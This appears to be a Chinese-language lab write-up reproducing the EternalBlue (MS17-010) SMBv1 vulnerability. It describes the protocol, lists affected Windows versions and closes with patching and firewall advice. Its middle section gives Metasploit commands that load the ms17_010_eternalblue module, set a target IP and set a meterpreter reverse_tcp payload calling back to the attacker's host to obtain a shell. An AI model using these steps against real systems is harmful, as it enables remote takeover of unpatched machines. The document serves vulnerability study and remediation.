永恒之蓝（MS17-010）漏洞复现

概要

永恒之蓝(ms17-010)通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要联网，攻击者就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

SMB（Server Message Block）是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。

受影响版本

目前已知受影响的Windows 版本包括但不限于：Windows XP、Windows Vista、Windows 7、Windows 8、Windows 10、Windows 2003、Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

漏洞复现

靶机：192.168.0.130（这里用的Windows 7 企业版）
攻击机：192.168.0.1

1、攻击机启动MSF，搜索ms17_010漏洞：

2、这里用ms17_010_eternalblue模块

use exploit/windows/smb/ms17_010_eternalblue

3、设置一下参数：

set RHOSTS 192.168.0.130 （设置目标IP）
set payload windows/x64/meterpreter/reverse_tcp (设置攻击Payload，这一步也可以不设置，已经默认设置了)
set LHOST 192.168.0.1 （设置攻击IP）

4、执行exploit，直接拿到目标IPshell

修复建议

1、获取并安装相应补丁；
2、限制对外部网络的访问，尤其是对于未打补丁或未升级的系统；
3、使用防火墙和其他安全措施来监控和阻止潜在的恶意流量。